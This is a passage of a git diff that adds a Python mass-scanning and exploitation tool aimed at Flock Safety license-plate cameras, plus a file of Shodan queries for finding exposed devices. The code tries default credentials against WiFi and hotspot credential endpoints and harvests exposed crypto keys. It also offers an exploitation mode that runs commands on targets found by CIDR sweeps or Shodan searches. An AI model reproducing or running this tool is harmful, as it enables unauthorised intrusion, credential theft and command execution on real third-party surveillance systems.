self.exploit_cve_59403(target, path, payload) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + except Exception: + pass + for path in ['/api/v1/crypto/key', '/api/v1/keystore']: + try: + resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False) + if resp.status_code == 200: + for p2 in self.payloads['CVE-2025-59407']['crypto_keys']: + if p2 in resp.text: + if self.exploit: + er = self.exploit_cve_59407(target, path, resp.text) + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path, + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]: + for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']: + try: + resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False) + if resp.status_code == 200: + if self.exploit: + er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}") + results.extend(er) + with self.lock: + self.exploited += len(er) + else: + results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path, + 'credentials': f"{cred[0]}:{cred[1]}", + 'vulnerable': True, 'exploited': False}) + break + except Exception: + pass + return results + + def worker(self): + while not self.work_queue.empty(): + target = self.work_queue.get() + try: + results = self.scan_and_exploit(target) + if results: + with self.lock: + self.results.extend(results) + self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False)) + for r in results: + if r.get('exploited', False): + self.print_exploit_result(r) + elif r.get('vulnerable', False): + self.print_vulnerability(r) + self.total_scanned += 1 + if self.total_scanned % 5 == 0: + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(self.print_scanning_status()) + except Exception as e: + if self.verbose: + print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}") + finally: + self.work_queue.task_done() + + def print_scanning_status(self): + return f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN STATUS{Colors.END} +------------------------------------------------------------- +Total Targets : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +Queue Size : {self.work_queue.qsize()} +Elapsed Time : {datetime.now().strftime('%H:%M:%S')} +------------------------------------------------------------- +{Colors.END}""" + + def print_exploit_result(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + print(f""" +{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END} +{Colors.CYAN}------------------------------------------------------------- +CVE: {cve} +Target: {target} +Method: {result.get('method', 'API')} +Command: {result.get('command', 'N/A')[:30]} +Output: {str(result.get('output', ''))[:40]} +------------------------------------------------------------- +{Colors.END}""") + + def print_vulnerability(self, result): + cve = result.get('cve', 'Unknown') + target = result.get('target', 'Unknown') + colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED, + 'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW} + color = colors.get(cve, Colors.END) + print(f""" +{color}------------------------------------------------------------- +VULNERABILITY FOUND +------------------------------------------------------------- +CVE: {cve} +Target: {target} +Path: {result.get('path', 'N/A')} +Credentials: {result.get('credentials', 'N/A')} +------------------------------------------------------------- +{Colors.END}""") + + def scan_network(self, targets): + if not targets: + print(f"{Colors.RED}No targets to scan{Colors.END}") + return + for t in targets: + self.work_queue.put(t.strip()) + print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}") + print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}") + threads = [] + for _ in range(self.threads): + t = threading.Thread(target=self.worker) + t.start() + threads.append(t) + try: + for t in threads: + t.join() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Stopping...{Colors.END}") + self.print_summary() + + def print_summary(self): + os.system('clear' if os.name == 'posix' else 'cls') + self.print_banner() + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SCAN COMPLETE{Colors.END} +------------------------------------------------------------- +Total Scanned : {self.total_scanned} +Vulnerable : {self.vulnerable_found} +Exploited : {self.exploited} +------------------------------------------------------------- +{Colors.BOLD}Results by CVE{Colors.END} +------------------------------------------------------------- +{Colors.END}""") + grouped = {} + for r in self.results: + cve = r.get('cve', 'Unknown') + grouped.setdefault(cve, []).append(r) + for cve, rs in grouped.items(): + exploited = sum(1 for r in rs if r.get('exploited', False)) + vulnerable = sum(1 for r in rs if r.get('vulnerable', False)) + print(f""" +{Colors.BOLD}{cve}{Colors.END} + Exploited: {exploited} + Vulnerable: {vulnerable} + Examples:""") + for i, r in enumerate(rs[:3], 1): + if r.get('exploited', False): + print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}") + else: + print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}") + if self.output_file: + self.save_results() + + def save_results(self): + try: + with open(self.output_file, 'w') as f: + json.dump(self.results, f, indent=2) + print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}") + except Exception as e: + print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}") + + # ═══════════════════════════════════════════════════ + # INTERACTIVE MENU (extended) + # ═══════════════════════════════════════════════════ + + def generate_targets(self): + print(f""" +{Colors.CYAN}------------------------------------------------------------- +{Colors.BOLD}SELECT INPUT METHOD{Colors.END} +------------------------------------------------------------- + 1. Single IP + 2. IP Range (CIDR) + 3. From File (IPs list) + 4. Shodan Query (requires Shodan API) + 5. Falcon/Sparrow Signatures + 6. Flock Instance Discovery (scan subnet) + 7. Traffic Analysis (cloud vs station) + 8. Return +------------------------------------------------------------- +{Colors.END}""") + choice = input(f"{Colors.CYAN}Select option (1-8): {Colors.END}").strip() + + # ── 6: Flock Instance Discovery ── + if choice == '6': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + if not cidr: + return [] + print(f"{Colors.YELLOW}Discovery mode does not use CVE scan queue.{Colors.END}") + self.run_discovery(cidr) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] # back to menu + + # ── 7: Traffic Analysis ── + if choice == '7': + ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip() + if ip: + self.run_traffic_analysis(ip) + input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}") + return [] + + # ── Original options ── + targets = [] + if choice == '1': + ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip() + if ip: + targets.append(ip) + elif choice == '2': + cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip() + try: + import ipaddress + for ip in ipaddress.ip_network(cidr, strict=False).hosts(): + targets.append(str(ip)) + except Exception as e: + print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}") + elif choice == '3': + fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip() + try: + with open(fn) as f: + for line in f: + targets.append(line.strip()) + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.END}") + elif choice == '4': + if not self.shodan_api_key: + self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip() + if self.shodan_api_key: + targets = self.get_shodan_targets(self.shodan_api_key) + if targets: + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + else: + print(f"{Colors.YELLOW}No targets found{Colors.END}") + else: + print(f"{Colors.RED}API key required{Colors.END}") + elif choice == '5': + print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}") + print(" - HTTP Title: 'Falcon' or 'Sparrow'") + print(" - /api/v1/admin/execute") + print(" - /api/v1/system/exec") + print(" - Port 5555 (ADB)") + print(" - /api/v1/debug") + print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}") + elif choice == '8': + return [] + return targets + + def run(self): + self.print_banner() + if self.exploit: + print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}") + print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}") + confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}") + if confirm.lower() != 'yes': + print(f"{Colors.YELLOW}Exiting{Colors.END}") + return + while True: + targets = self.generate_targets() + if not targets: + if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y': + break + continue + print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}") + if len(targets) > 100: + print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}") + self.scan_network(targets) + if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y': + break + + +def main(): + parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis') + parser.add_argument('-t', '--target', help='Single target IP') + parser.add_argument('-f', '--file', help='File with targets') + parser.add_argument('-o', '--output', help='Output file (JSON)') + parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') + parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads') + parser.add_argument('--timeout', type=int, default=5, help='Connection timeout') + parser.add_argument('--exploit', action='store_true', help='Enable exploitation') + parser.add_argument('--cve', help='Scan specific CVE only') + parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)') + parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP') + + args = parser.parse_args() + + scanner = CVEExploiter( + verbose=args.verbose, + output_file=args.output, + threads=args.threads, + timeout=args.timeout, + exploit=args.exploit, + ) + + # CLI shortcut for discovery + if args.discover: + scanner.run_discovery(args.discover) + if args.output: + scanner.save_results() + return + + # CLI shortcut for traffic analysis + if args.analyze_traffic: + scanner.run_traffic_analysis(args.analyze_traffic) + if args.output: + scanner.save_results() + return + + if args.target: + targets = [args.target] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + elif args.file: + with open(args.file) as f: + targets = [line.strip() for line in f] + scanner.scan_network(targets) + if args.output: + scanner.save_results() + else: + scanner.run() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}") + sys.exit(0) diff --git a/shodan_queries.py b/shodan_queries.py new file mode 100644 index 0000000..534a6bc --- /dev/null +++ b/shodan_queries.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +""" +shodan_queries.py - Generate Shodan queries for CVE-2025 vulnerabilities + Discovery +""" + +QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', + 'title:"Sparrow"', + '"/api/v1/admin"', + '"/api/v1/system"', + '"/api/v1/debug"', + 'port:5555 "Android"', + '"Android Debug Bridge"', + 'port:5037 adb', + 'http.title:"ADB"', + '"Falcon" "api" port:443', + '"Sparrow" "api" port:443', + '"/api/v1/execute"', + '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', + '"keystore" "hardcoded"', + '"crypto" "key" "Android"', + '"/api/v1/keystore"', + '"/api/v1/security"', + '"hardcoded_key"', + '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', + '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', + '"/api/v1/wifi"', + '"hotspot" "config"', + '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', + '"ALPR" "v2.1"', + '"ALPR" "v2.2"', + '"/api/v1/alpr"', + '"license plate" "system"', + '"LPR" "firmware"', + '"ALPR" "firmware"', + '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + +def generate_shodan_queries(): + """Generate combined Shodan queries""" + print("# CVE-2025 Vulnerability + Discovery Shodan Queries") + print("# ==================================================") + print() + for cve, queries in QUERIES.items(): + print(f"# {cve}") + print(" OR ".join(queries)) + print() + all_q = [] + for qs in QUERIES.values(): + all_q.extend(qs) + print("# ALL Queries Combined") + print(" OR ".join(all_q)) + +if __name__ == "__main__": + generate_shodan_queries()